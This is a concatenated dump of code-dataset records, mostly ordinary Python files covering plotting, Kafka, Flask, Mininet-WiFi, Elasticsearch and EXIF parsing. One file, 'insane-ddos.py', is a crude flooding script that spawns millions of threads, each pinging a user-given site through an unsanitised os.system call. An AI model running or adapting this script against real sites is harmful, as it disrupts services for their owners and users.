dX = oscillator(0,[X1[i],X2[j]])\n plt.quiver(X1[i],X2[j],dX[0],dX[1],angles='xy',scale=20,color='b')\n\nxlabel('x1')\nylabel('x2')\n\nplt.figure(1).savefig('./osc_quiverplot.svg')\n \nsolver = ode(oscillator).set_integrator('dopri5')\n\nt = np.linspace(0.,100.,1000)\nx1 = np.zeros(1000)\nx2 = np.zeros(1000)\n\nx0 = [(-1,1),(-0.3,1),(0,1),(0.249999,1),(0.5,1),(0.75,1),(1,1),(1,-1),(0.3,-1),(0,-1),\n (-0.249999,-1),(-0.5,-1),(-0.75,-1),(-1,-1)]\n\nplt.figure(2,figsize(5,5))\nplt.axis([-1,1,-1,1])\n\nfor i in range(14):\n solver.set_initial_value(x0[i])\n \n for j in range(1000):\n x1[j] = solver.integrate(t[j])[0]\n x2[j] = solver.integrate(t[j])[1]\n \n plt.plot(x1,x2,'b-')\n\nxlabel('x1')\nylabel('x2')\n\nplt.figure(2).savefig('./osc_phaseplot.svg')\n\n\n","sub_path":"4.3/oscillator.py","file_name":"oscillator.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"178158914","text":"# Enumerates currency pairs\r\nclass CurrPair:\r\n EURUSD = 1\r\n GBPUSD = 2\r\n USDCHF = 3\r\n USDJPY = 4\r\n EURJPY = 5\r\n AUDUSD = 6\r\n USDJPY = 7\r\n NOKSEK = 8\r\n USDCAD = 9\r\n\r\n\r\n# Holds string representation for all CCY Pairs. Used as an alternative to the C SWITCH\r\ndict_all_values = {\r\n \"EUR/USD\": CurrPair.EURUSD,\r\n \"GBP/USD\": CurrPair.GBPUSD,\r\n \"USD/CHF\": CurrPair.USDCHF,\r\n \"USD/JPY\": CurrPair.USDJPY,\r\n \"EUR/JPY\": CurrPair.EURJPY,\r\n \"AUD/USD\": CurrPair.AUDUSD,\r\n \"USD/JPY\": CurrPair.USDJPY,\r\n \"NOK/SEK\": CurrPair.NOKSEK,\r\n \"USD/CAD\": CurrPair.USDCAD\r\n}\r\n\r\n\r\ndef read_string_rep(string_rep: str) -> CurrPair:\r\n \"\"\"\r\n Reads the string representation in form of XXX/YYY and returns an ENUM with the correct representation in numerical\r\n form CurrPair.XXXYYY\r\n :param string_rep: XXX/YYY\r\n :return:\r\n \"\"\"\r\n if string_rep in dict_all_values:\r\n return dict_all_values[string_rep]\r\n else:\r\n raise RuntimeError(\"Please add {} to the CurrPair enum class and dict_all_values collection.\".format(string_rep))\r\n","sub_path":"curr_pair.py","file_name":"curr_pair.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"528408726","text":"import board\nimport time\nimport analogio\nimport neopixel\n\nanalogIn = analogio.AnalogIn(board.A1)\n\npixels = neopixel.NeoPixel(board.NEOPIXEL, 10, brightness=1.0)\n\ndef scaleAndTranslate(inVal, inStart, inEnd, outStart, outEnd):\n inRange = inEnd - inStart\n inProportion = inVal / inRange\n outRange = outEnd - outStart\n scaledOut = inProportion * outRange\n return scaledOut + outStart\n\naverage = scaleAndTranslate(analogIn.value, 0, 65535, 0, 255)\n\n\ndef weightedSmooth(inVal, weight):\n global average\n average = weight * inVal + ((1 - weight) * average)\n return average\n\n\nwhile True:\n\n analogValue = analogIn.value\n\n scaleValue = scaleAndTranslate(analogValue, 0, 65535, 0, 255)\n blueValue = weightedSmooth(scaleValue, 0.25)\n\n print((analogValue, blueValue))\n\n COLOR = (0, 0, int(blueValue))\n pixels.fill(COLOR)\n\n time.sleep(0.1)","sub_path":"wk4 scale.py","file_name":"wk4 scale.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"404252903","text":"\"\"\"\n\nauthor: Ramon Fontes (ramonrf@dca.fee.unicamp.br)\n ramonfontes.com\n\n\"\"\"\n\nimport time\nimport threading\nimport random\nfrom pylab import math, cos, sin\nfrom mininet.wifiPlot import plot\nfrom mininet.wifiMobility import mobility\nfrom mininet.wifiChannel import channelParameters\nfrom mininet.wifiDevices import deviceDataRate\n\n\ndef instantiateGraph():\n nodeList = mobility.staList + mobility.apList\n for node in nodeList:\n plot.instantiateGraph(mobility.MAX_X, mobility.MAX_Y)\n plot.instantiateNode(node, mobility.MAX_X, mobility.MAX_Y)\n plot.instantiateAnnotate(node)\n plot.instantiateCircle(node)\n plot.graphUpdate(node)\n\n\nclass replayingMobility(object):\n \"\"\"Replaying Mobility Traces\"\"\"\n def __init__(self, **params):\n\n self.thread = threading.Thread(name='replayingMobility', target=self.mobility)\n self.thread.daemon = True\n self.thread.start()\n\n def mobility(self):\n if mobility.DRAW:\n instantiateGraph()\n currentTime = time.time()\n staList = mobility.staList\n continue_ = True\n nodeTime = {}\n nodeCurrentTime = {}\n for node in staList:\n nodeCurrentTime[node] = 1 / node.params['speed']\n nodeTime[node] = float(1.0 / node.params['speed'])\n while continue_:\n continue_ = False\n time_ = time.time() - currentTime\n for node in staList:\n continue_ = True\n while time_ >= nodeCurrentTime[node] and len(node.position) != 0:\n node.moveStationTo(node.position[0])\n del node.position[0]\n nodeCurrentTime[node] += nodeTime[node]\n if len(node.position) == 0:\n staList.remove(node)\n time.sleep(0.01)\n\n\nclass replayingBandwidth(object):\n \"\"\"Replaying Bandwidth Traces\"\"\"\n\n def __init__(self, **params):\n\n self.thread = threading.Thread(name='replayingBandwidth', target=self.throughput)\n self.thread.daemon = True\n self.thread.start()\n\n def throughput(self):\n # if mobility.DRAW:\n # plotGraph()\n currentTime = time.time()\n staList = mobility.staList\n continue_ = True\n while continue_:\n continue_ = False\n time_ = time.time() - currentTime\n for sta in staList:\n continue_ = True\n if time_ >= sta.time[0]:\n channelParameters.tc(sta, 0, sta.throughput[0], 1, 1, 1)\n # pos = '%d, %d, %d' % (sta.throughput[0], sta.throughput[0], 0)\n # self.moveStationTo(sta, pos)\n del sta.throughput[0]\n del sta.time[0]\n if len(sta.time) == 0:\n staList.remove(sta)\n time.sleep(0.01)\n\n def moveStationTo(self, sta, pos):\n x = pos[0]\n y = pos[1]\n sta.params['position'] = x, y, 0\n # mobility.getAPsInRange(sta)\n if mobility.DRAW:\n try:\n plot.graphUpdate(sta)\n except:\n pass\n\n\nclass replayingRSSI(object):\n \"\"\"Replaying RSSI Traces\"\"\"\n\n def __init__(self, **params):\n\n self.thread = threading.Thread(name='replayingRSSI', target=self.rssi)\n self.thread.daemon = True\n self.thread.start()\n\n def rssi(self):\n if mobility.DRAW:\n instantiateGraph()\n currentTime = time.time()\n staList = mobility.staList\n ang = {}\n for sta in staList:\n ang[sta] = random.uniform(0, 360)\n sta.params['frequency'][0] = channelParameters.frequency(sta, 0)\n continue_ = True\n while continue_:\n continue_ = False\n time_ = time.time() - currentTime\n for sta in staList:\n continue_ = True\n if time_ >= sta.time[0]:\n freq = sta.params['frequency'][0] * 1000 # freqency in MHz\n ap = sta.params['associatedTo'][0] # get AP\n dist = self.calculateDistance(sta, freq, sta.rssi[0])\n if ap != '':\n self.moveStationTo(sta, ap, dist, ang[sta])\n bw = self.calculateRate(sta, ap, dist)\n channelParameters.tc(sta, 0, bw, 1, 1, 1)\n sta.params['rssi'] = sta.rssi[0]\n del sta.rssi[0]\n del sta.time[0]\n if len(sta.time) == 0:\n staList.remove(sta)\n time.sleep(0.01)\n\n def calculateDistance(self, sta, freq, signalLevel):\n \"\"\"Based on Free Space Propagation Model\"\"\"\n dist = 10 ** ((27.55 - (20 * math.log10(freq)) + abs(signalLevel)) / 20)\n return dist\n\n def moveStationTo(self, sta, ap, dist, ang):\n x = dist * cos(ang) + int(ap.params['position'][0])\n y = dist * sin(ang) + int(ap.params['position'][1])\n sta.params['position'] = x, y, 0\n mobility.getAPsInRange(sta)\n if mobility.DRAW:\n try:\n plot.graphUpdate(sta)\n except:\n pass\n\n def calculateRate(self, sta, ap, dist):\n value = deviceDataRate(sta, ap, 0)\n custombw = value.rate\n rate = value.rate / 2.5\n if ap.equipmentModel == None:\n rate = custombw * (1.1 ** -dist)\n if rate <= 0:\n rate = 1\n return rate\n","sub_path":"mininet/wifiReplaying.py","file_name":"wifiReplaying.py","file_ext":"py","file_size_in_byte":5525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"238163619","text":"import boto3\n\npolly = boto3.client('polly')\n\nresult = polly.synthesize_speech(Text='Hello World!', OutputFormat='mp3', VoiceId='Aditi')\n\naudio = result['AudioStream'].read()\nwith open(\"helloworld.mp3\",\"wb\") as file:\n file.write(audio)\n\n#if __name__ == '__main__':\n# print('do a thing')","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"169731329","text":"print('Warning! Your computer might explode or use a lot of ram and be slow(by vackyton)')\n\nimport os\nimport threading\n\n#import your stuff\n\nlink = input('Enter site url(ex: www.google.com): ')\n#site\n\ndef attack_():\n while True:\n os.system('ping ' + link)\n\n#This makes the function ping\n\nfor i in range(4388787):\n thread = threading.Thread(target=attack_)\n thread.start()\n#F**K YOUR COMPUTER AND ALSO THE SITE :))))))))\n","sub_path":"insane-ddos.py","file_name":"insane-ddos.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"176590544","text":"import os\n\nfrom elasticsearch import Elasticsearch\nfrom flask_restful import Resource, abort, reqparse\n\nES_PORT = os.environ.get('ES_PORT')\nES_HOST = os.environ.get('ES_HOST')\n\n\nclass Search(Resource):\n def __init__(self):\n super().__init__()\n\n self._parser = reqparse.RequestParser()\n self._parser.add_argument('query', required='True')\n\n self._indices = {\n 'clients': {\n 'index': 'clients',\n 'fields': ['first_name', 'last_name']\n },\n 'products': {\n 'index': 'products',\n 'fields': ['name']\n }\n }\n\n def get(self, resource):\n args = self._parser.parse_args()\n query = args['query']\n\n es_cli = Elasticsearch(port=ES_PORT, host=ES_HOST)\n index = self._route_resource(resource)\n\n es_query = {\n 'query': {\n 'match_phrase_prefix': {'_all': query}\n }\n }\n resp = es_cli.search(index=index, body=es_query,\n filter_path=self._get_fields_filter(resource))\n\n if resp['hits']['total'] > 0:\n return resp['hits']['hits'], 200\n else:\n return {}, 200\n\n def _route_resource(self, resource):\n try:\n return self._indices[resource]['index']\n except KeyError:\n abort(400, message='Unknown resource')\n\n def _get_fields_filter(self, resource):\n try:\n base_path = 'hits.hits._source'\n base_fields = ['hits.total', '{}.mongo_client_id'.format(base_path)]\n index_fields = ['{}.{}'.format(base_path, field)\n for field in self._indices[resource]['fields']]\n return base_fields + index_fields\n except KeyError:\n abort(400, message='Unknown resource')\n","sub_path":"searching/app/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":1856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"528986082","text":"import exifread\nimport os\nimport sys\n\ndef walk(folder, allTags, metadata):\n for currentFolder, subfolders, files in os.walk(folder):\n for subfolder in subfolders:\n walk(subfolder, allTags, metadata)\n for file in files:\n\n if not file.lower().endswith(('.png', '.jpg', '.jpeg')):\n continue\n\n fullName = os.path.join(currentFolder, file);\n size = os.path.getsize(fullName)\n f = open(fullName, 'rb')\n\n tags = exifread.process_file(f, details=False)\n\n tagSubset = {key: '\"' + str(value) + '\"' for key, value in tags.items() \n if key not in ('JPEGThumbnail', 'TIFFThumbnail')}\n tagSubset['filesize'] = str(size)\n for tag in tagSubset:\n allTags.add(tag)\n metadata[fullName] = tagSubset\n\nallTags = set()\nmetadata = {}\n\nwalk(sys.argv[1], allTags, metadata)\n\noutput = 'filename'\nfor tag in allTags:\n output += ',' + tag\nprint(output)\n\nfor fullName in metadata:\n output = fullName\n m = metadata[fullName]\n for tag in allTags:\n output += ','\n if m.has_key(tag):\n output += m[tag]\n print(output)\n","sub_path":"jpegmetadata/fsmetadata.py","file_name":"fsmetadata.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"186549915","text":"import logging\nimport os\nimport click\n\nfrom src import app\n# create the DB:\nfrom .new_backend.models import db, Paper, paper_collection_table\nfrom sqlalchemy import func\nfrom flask_cors import CORS\nfrom flask_jwt_extended import JWTManager\nfrom flask_jwt_extended.exceptions import NoAuthorizationError\nfrom flask_limiter import Limiter\nfrom flask_limiter.util import get_remote_address\nfrom flask_caching import Cache\nfrom .routes.paper import app as paper_routes\nfrom .routes.comments import app as comments_routes\nfrom .routes.paper_list import app as paper_list_routes\nfrom .routes.user import app as user_routes\nfrom .routes.groups import app as groups_routes\nfrom .routes.admin import app as admin_routes\nfrom .routes.new_paper import app as new_paper_routes\nfrom .new_backend.scrapers import arxiv\nfrom .new_backend.scrapers import paperswithcode\nimport sentry_sdk\nfrom sentry_sdk.integrations.flask import FlaskIntegration\nfrom src.new_backend.scrapers import twitter\nimport threading\nfrom .run_background_tasks import run_scheduled_tasks\nfrom .mongo_to_postgres import migrate\n\n\nenv = os.environ.get('ENV', 'development')\n\nlogger = logging.getLogger(__name__)\n\nSENTRY_DSN = os.environ.get('SENTRY_DSN', '')\n\n\ndef before_send(event, hint):\n if 'exc_info' in hint:\n exc_type, exc_value, tb = hint['exc_info']\n if isinstance(exc_value, NoAuthorizationError):\n req = event.get('request', '')\n logger.warning(f'Unauthorized access - {req}')\n return None\n return event\n\n\nif SENTRY_DSN:\n sentry_sdk.init(\n dsn=SENTRY_DSN,\n integrations=[FlaskIntegration()],\n environment=env,\n before_send=before_send,\n ignore_errors=['TooManyRequests']\n )\n\napp.config['ENV'] = env\n\n# TODO: fix this:\ncors = CORS(app, supports_credentials=True, origins=['*'])\n\nif os.path.isfile('secret_key.txt'):\n app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY')\nelse:\n app.config['SECRET_KEY'] = 'devkey, should be in a file'\n\napp.config['JWT_TOKEN_LOCATION'] = ['cookies']\napp.config['JWT_COOKIE_CSRF_PROTECT'] = False\napp.config['JWT_ACCESS_TOKEN_EXPIRES'] = False\n\njwt = JWTManager(app)\n\nlimiter = Limiter(app, key_func=get_remote_address, default_limits=[\n \"5000 per hour\", \"200 per minute\"])\ncache = Cache(app, config={'CACHE_TYPE': 'simple'})\n\napp.register_blueprint(paper_list_routes, url_prefix='/papers')\napp.register_blueprint(paper_routes, url_prefix='/paper')\napp.register_blueprint(comments_routes, url_prefix='/paper')\napp.register_blueprint(user_routes, url_prefix='/user')\napp.register_blueprint(groups_routes, url_prefix='/groups')\napp.register_blueprint(admin_routes, url_prefix='/admin')\napp.register_blueprint(new_paper_routes, url_prefix='/new_paper')\n\n\n@app.cli.command(\"fetch-arxiv\")\ndef fetch_arxiv():\n arxiv.run()\n\n\n@app.cli.command(\"fetch-paperswithcode\")\ndef fetch_papers_with_code():\n paperswithcode.run()\n\n\n@app.cli.command(\"fetch-twitter\")\ndef fetch_twitter():\n twitter.main_twitter_fetcher()\n\n\n@app.cli.command(\"run-background-tasks\")\ndef background_tasks():\n run_scheduled_tasks()\n\n\n@app.route('/test')\ndef hello_world():\n return 'Hello, World!'\n\n\n@app.cli.command(\"migrate-db\")\n@click.option('--path', help='folder path')\ndef migrate_db(path):\n migrate(path)\n\n\n@app.cli.command(\"fix-stars-count\")\ndef fix_stars_count():\n total_per_paper = db.session.query(paper_collection_table.c.paper_id, func.count(\n paper_collection_table.c.collection_id)).group_by(paper_collection_table.c.paper_id).all()\n with_stars = [p for p in total_per_paper if p[1] > 0]\n id_to_stars = {p[0]: p[1] for p in with_stars}\n papers = Paper.query.filter(Paper.id.in_(list(id_to_stars.keys()))).all()\n for p in papers:\n p.num_stars = id_to_stars[p.id]\n db.session.commit()\n","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"221539349","text":"from make_test_values import make_test_vals, make_test_vals_fail, make_test_vals_field, make_test_vals_fail_field\r\nfrom make_key_strings import make_key_strings, make_key_strings_fail\r\n\r\nclass ConfigException(Exception):\r\n pass\r\n\r\nclass JinjaShim(object):\r\n \"\"\"\r\n This class is a shim between the code generated context and the template file\r\n \"\"\"\r\n def __init__(self, context_dict):\r\n self.context_dict = context_dict\r\n type(self).normalize_dict( self.context_dict )\r\n\r\n @classmethod\r\n def normalize_dict(cls, context_dict):\r\n \"\"\"\r\n Cleans up the context and adds appropiate values to the tree\r\n\r\n :param: context_dict (dict) generator context\r\n \"\"\"\r\n context_dict.pop(\"config\")\r\n context_dict['top_node'].keys = context_dict['keys']\r\n #context_dict['fields'] = [context_dict['top_node']]\r\n context_dict['top_node'].parent = None\r\n\r\n def tree_set(field, parent):\r\n loaded_features = context_dict['loaded_features']\r\n\r\n field.parent = parent\r\n field.is_self_loaded = all( map(lambda el: el in loaded_features, field.features) )\r\n field.is_parent_loaded = not field.parent or field.parent.is_loaded\r\n field.is_loaded = field.is_self_loaded and field.is_parent_loaded\r\n field.expect_post = field.config and field.is_loaded\r\n field.expect_patch = field.config and field.is_loaded\r\n field.expect_get = field.is_parent_loaded\r\n\r\n field.node_vals = make_test_vals_field(field)\r\n field.node_vals_fail = make_test_vals_fail_field(field)\r\n keys = getattr(field, 'keys', [])\r\n field.key_names = [el.name for el in keys]\r\n field.key_strings = make_key_strings(field)\r\n field.key_strings_fail = make_key_strings_fail(field)\r\n\r\n field.key_vals = dict(zip( field.key_names, map(make_test_vals, keys) ))\r\n field.key_vals_fail = dict(zip( field.key_names, map(make_test_vals_fail, keys) ))\r\n\r\n cls.recursive_field_apply(tree_set, context_dict['top_node'])\r\n\r\n @classmethod\r\n def recursive_field_apply(cls, func, field, parent=None):\r\n \"\"\"\r\n Applies func to entire tree\r\n\r\n :param: func ( (field, parent) -> None ) function that modifies the field\r\n :param: field (YangNode) yang node\r\n :param: parent (YangNode) parent of the yang node\r\n \"\"\"\r\n func(field, parent)\r\n children = getattr(field, 'fields', [])\r\n for child in children:\r\n cls.recursive_field_apply(func, child, field)\r\n\r\n def apply_deviations(self, j_data):\r\n \"\"\"\r\n Handles config deviation application\r\n\r\n :param: j_data (JinjaMod) class encapsulating actual changes\r\n \"\"\"\r\n if j_data.path is '/':\r\n self._apply_root_deviations( j_data.context )\r\n else:\r\n self._apply_tree_deviations( j_data )\r\n\r\n def _apply_root_deviations(self, context):\r\n \"\"\"\r\n Applies deviation in the context. Not useful for nested fields assignment\r\n\r\n :param: context (dict) dictionary of context to update to generator context\r\n \"\"\"\r\n self.context_dict.update(context)\r\n\r\n def _apply_tree_deviations(self, j_data):\r\n \"\"\"\r\n Applies deviations nested into the fields tree\r\n\r\n :param: j_data (JinjaMod) class encapsulating actual changes\r\n \"\"\"\r\n apply_nodes = self._get_nodes( j_data.path )\r\n for node in apply_nodes:\r\n self._apply_node_deviations( node, j_data.context )\r\n\r\n def _get_nodes(self, path):\r\n \"\"\"\r\n The path refers to either one node, or one node plus descendents\r\n This function returns those nodes\r\n\r\n :param: path (string) slash seperated node path\r\n\r\n :returns: list of descendents\r\n\r\n :return type: [YangNode]\r\n \"\"\"\r\n target_node = self._get_target_path_node(path)\r\n\r\n if path.endswith('*'):\r\n return self._get_children_tree(target_node)\r\n else:\r\n return [target_node]\r\n\r\n def _get_target_path_node(self, path):\r\n \"\"\"\r\n This function return the node the path is pointing at\r\n\r\n :param: path (string) slash seperated node path\r\n\r\n :returns: target node at end of path\r\n\r\n :return type: YangNode\r\n \"\"\"\r\n if path.endswith('*'):\r\n path_split = path[:-1].split('/')[1:]\r\n else:\r\n path_split = path.split('/')[1:]\r\n\r\n fields = [ self.context_dict['top_node'] ]\r\n target_node = None\r\n for node_name in path_split:\r\n target_node = self._get_node_with_name(fields, node_name)\r\n fields = getattr(target_node, 'fields', [])\r\n\r\n return target_node\r\n\r\n @staticmethod\r\n def _get_node_with_name(field_list, name):\r\n \"\"\"\r\n From a list of nodes, this function retrieves the one with appropiate names\r\n\r\n :param: field_list ([YangNode]) list of yang nodes\r\n :param: name (string) name that selects a node\r\n\r\n :returns: node with selected name, may raise exception\r\n\r\n :return type: YangNode\r\n \"\"\"\r\n nodes = filter(lambda el: el.name == name, field_list)\r\n if len(nodes) == 0:\r\n raise ConfigException(\"Cannot find node: \" + name)\r\n\r\n return nodes[0]\r\n \r\n @classmethod\r\n def _get_children_tree(cls, node):\r\n \"\"\"\r\n This function returns a list of all descendents\r\n\r\n :param: node (YangNode) node to select descendents from\r\n\r\n :returns: list of descendents of node\r\n\r\n :return type: YangNode\r\n \"\"\"\r\n node_list = [node]\r\n children = getattr(node, 'fields', [])\r\n for child in children:\r\n node_list.extend( cls._get_children_tree(child) )\r\n\r\n return node_list\r\n\r\n def _apply_node_deviations(self, node, j_data):\r\n \"\"\"\r\n Apply config deviations to node\r\n\r\n :param: node (YangNode) node to change attributes of\r\n :param: j_data (dict) dictionary of attribute changes\r\n \"\"\"\r\n for key, val in j_data.items():\r\n setattr(node, key, val)\r\n\r\n","sub_path":"Perforce/kkhanna_ubuntu-VirtualBox_4296/team/kiwi/data_modeling/REST/branches/1.0/rest_test/rest_test/deprecated/jinja_shim.py","file_name":"jinja_shim.py","file_ext":"py","file_size_in_byte":6262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"345131797","text":"import sqlite3\n\ncon = sqlite3.connect(r\"e:\\classroom\\python\\july3\\hr.db\") # Connection\ncur = con.cursor() # Cursor\n\ncur.execute(\"select * from departments order by deptid \")\nfor row in cur.fetchall():\n print(row[0], row[1], row[2])\n\n\n\n\n","sub_path":"sqlite/list_dept.py","file_name":"list_dept.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"176228027","text":"#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nfrom confluent_kafka import Consumer, KafkaException, KafkaError\n\nimport sys\n\n'''\n * Tips:\n * 由於16題主要是By每一個unique的商品貨物編號算出它的庫存異動數,在資料處理上, 我們先對msgValue進行解析。\n * 然後可以利用一個\"Map(key是part_no, value是庫存異動數)\"來保存庫存值加減之後的結果。\n *\n * 公式: 期初庫存 + 庫存異動數 = 期末庫存\n *\n * 只要知道公式中的其中兩個值就可以知道剩下的那個值了。\n\n'''\n\n# 基本參數\nKAFKA_BROKER_URL = 'localhost:9092' # 設定要連接的Kafka群\nSTUDENT_ID = 'ds0015' # 修改成你/妳的學員編號\n\n\n# 用來接收從Consumer instance發出的error訊息\ndef error_cb(err):\n print('Error: %s' % err)\n\n\n# 轉換msgKey或msgValue成為utf-8的字串\ndef try_decode_utf8(data):\n if data is not None:\n return data.decode('utf-8')\n else:\n return None\n\n\n# 對dictionary物件以key值的順序來排序\ndef dict_sort(dictData):\n new_dict = {}\n for key in sorted(dictData.keys()):\n new_dict[key] = dictData[key]\n\n return new_dict\n\n# 用來記錄是否為第一次的Rebalance事件\nisFirstTime = True\n\n# 一個callback函式, 用來重設某一個ConsumerGroup的offset值到一個Topic/Partition的最小值。方便測試與教學\ndef seek_to_begin(consumer, partitions):\n global isFirstTime\n # 監聽Kafka的Consumer Rebalance的event, 如果是程式跑起來的第一次\n # 我們重新對每一個partition的offset來進行重置到現在partition最小的offset值\n if isFirstTime:\n for p in partitions:\n p.offset = 0\n print('assign', partitions)\n consumer.assign(partitions)\n isFirstTime = False\n print('Reset offset to beginning')\n\n\n# 主程式進入點 <---\nif __name__ == '__main__':\n # 步驟1.設定要連線到Kafka集群的相關設定\n # Consumer configuration\n # See https://github.com/edenhill/librdkafka/blob/master/CONFIGURATION.md\n props = {\n 'bootstrap.servers': KAFKA_BROKER_URL, # Kafka集群在那裡? (置換成要連接的Kafka集群)\n 'group.id': STUDENT_ID, # ConsumerGroup的名稱 (置換成你/妳的學員ID)\n 'auto.offset.reset': 'earliest', # Offset從最前面開始\n 'session.timeout.ms': 6000,\n 'error_cb': error_cb # 設定接收error訊息的callback函數\n }\n\n # 步驟2. 產生一個Kafka的Consumer的實例\n consumer = Consumer(props)\n # 步驟3. 指定想要訂閱訊息的topic名稱\n topicName = 'ak02.hw.translog'\n # 步驟4. 讓Consumer向Kafka集群訂閱指定的topic\n consumer.subscribe([topicName], on_assign=seek_to_begin) # ** Tips: 讓這支程式每次重起時都把offset移到最前面\n # 步驟5. 持續的拉取Kafka有進來的訊息\n\n # 產生一個Map: key是part_no, value是qty balance <---- 存放 \"題目#16\" 庫存異動數的容器\n parts_transQtyBalance = {}\n\n # 初始庫存值 - 透過第15題的結果來把每一個part_no的值取負並放進parts_transQtyBalance中來做為初始值\n # parts_transQtyBalance['part_01'] = 0\n # parts_transQtyBalance['part_02'] = 0\n # parts_transQtyBalance['part_03'] = 0\n # parts_transQtyBalance['part_04'] = 0\n # parts_transQtyBalance['part_05'] = 0\n # parts_transQtyBalance['part_06'] = 0\n # parts_transQtyBalance['part_07'] = 0\n # parts_transQtyBalance['part_08'] = 0\n # parts_transQtyBalance['part_09'] = 0\n # parts_transQtyBalance['part_10'] = 0\n\n try:\n while True:\n # 請求Kafka把新的訊息吐出來\n records = consumer.consume(num_messages=500, timeout=1.0) # 批次讀取\n if records is None:\n continue\n\n for record in records:\n # 檢查是否有錯誤\n if record is None:\n continue\n if record.error():\n # 偵測是否己經讀到了partition的最尾端\n if record.error().code() == KafkaError._PARTITION_EOF:\n # End of partition event\n sys.stderr.write('%% %s [%d] reached end at offset %d\\n' %\n (record.topic(), record.partition(), record.offset()))\n else:\n # Error\n raise KafkaException(record.error())\n else:\n # ** 在這裡進行商業邏輯與訊息處理 **\n # 取出相關的metadata\n topic = record.topic()\n partition = record.partition()\n offset = record.offset()\n timestamp = record.timestamp()\n # 取出msgKey與msgValue\n msgKey = try_decode_utf8(record.key()) # << 這個是商品貨物編號\n msgValue = try_decode_utf8(record.value()) # << 這個是商品貨物交易資料\n\n # ** \"題目#16\" 的主要邏輯 **\n # 把\"商品貨物編號\"與\"計數\"放進一個Dict(key是part_no, value是record count)的容器中\n\n # Tips: 在Python中把(key,value)放進\"Dict\"的collection, 使用的method是 dict_object[key]=value\n\n # Tips: 解析msgValue, 根據spec: msgValue是交易的內容(例如 \"+|123\" , 資料用\"|\"做分隔\n # 第一個欄位\"+\"代表是庫存量的增加, \"-\"代表庫存量的減少\n # 第二個欄位代表庫存的異動量\n\n elements = msgValue.split('|')\n\n opType = elements[0] # \"+\"代表是庫存量的增加, \"-\"代表庫存量的減少\n transQty = int(elements[1]) # 庫存的異動量\n\n # *** 你要開發的Block在這裡 [Start] ***\n # Hint: 跟15題一樣的概念, 你必須針對每一個商品貨物編號的交易資料來進行+或-來計算庫存值\n\n elements = msgValue.split('|')\n\n opType = elements[0] # \"+\"代表是庫存量的增加, \"-\"代表庫存量的減少\n transQty = int(elements[1]) # 庫存的異動量\n\n # 檢查看Dict中是否存在msgKey\n if msgKey in parts_transQtyBalance:\n # 把之前的筆數拿回來, 加1之後再放去\n transQtyBalance = parts_transQtyBalance[msgKey]\n # 檢查opertion type是'+'或'-'\n if opType == '+':\n parts_transQtyBalance[msgKey] = (transQtyBalance + transQty)\n else:\n parts_transQtyBalance[msgKey] = (transQtyBalance - transQty)\n else:\n # 這是第1筆, 設定初始值\n init_qty = 0\n # 檢查opertion type是'+'或'-'\n if opType == '+':\n parts_transQtyBalance[msgKey] = (init_qty + transQty)\n else:\n parts_transQtyBalance[msgKey] = (init_qty - transQty)\n\n # *** 你要開發的Block在這裡 [End] ***\n\n # 打印出最更新的結果 <---- \"題目#16\" 的答案\n print('Parts transQtyBalance: ' + '|'.join(f'{k}={0 - v}' for k, v in dict_sort(parts_transQtyBalance).items()))\n\n # 觀察Consumer是否己經抵達topic/partiton的最尾端的offset\n # 如果程式己經把現在topic裡有的訊息全部都吃進來你看到的結果就是問題的答案\n\n except KeyboardInterrupt as e:\n sys.stderr.write('Aborted by user\\n')\n except KafkaException as e:\n if hasattr(e, 'message'):\n print(e.message)\n else:\n print(e)\n\n finally:\n # 步驟6.關掉Consumer實例的連線\n consumer.close()\n","sub_path":"03_workspace/homework/ak02hw/Homework_q16.py","file_name":"Homework_q16.py","file_ext":"py","file_size_in_byte":8666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"54968080","text":"# FBX to glTF converter\n# Version 0.0\n# Scotty Wilson\n# scottyw@apple.com\n#######################\n\nimport os\nfrom os import walk\n\n# Function to determine what assets are available\ndef get_fbx_asset(files_in_directory):\n\n\thas_fbx = False\n\n\tthreedee_asset = \"\"\n\n\tfor asset in files_in_directory:\n\t\tif \".fbx\" in asset and not has_fbx:\n\t\t\thas_fbx = True\n\t\t\tthreedee_asset = asset\n\t\t\tbreak\n\n\tprint(\"Checking for available 3D assets:\")\n\tprint(\"----------\")\n\tprint(\"FBX: \" + str(has_fbx))\n\tprint(\"----------\")\n\n\treturn threedee_asset\n\n# Get directory this script is located in.\ncwd = os.getcwd()\n\n# Get filename for assets to convert\nfiles_in_directory = []\nfor (dirpath, dirnames, filenames) in walk(cwd):\n files_in_directory.extend(filenames)\n break\n\n# Get 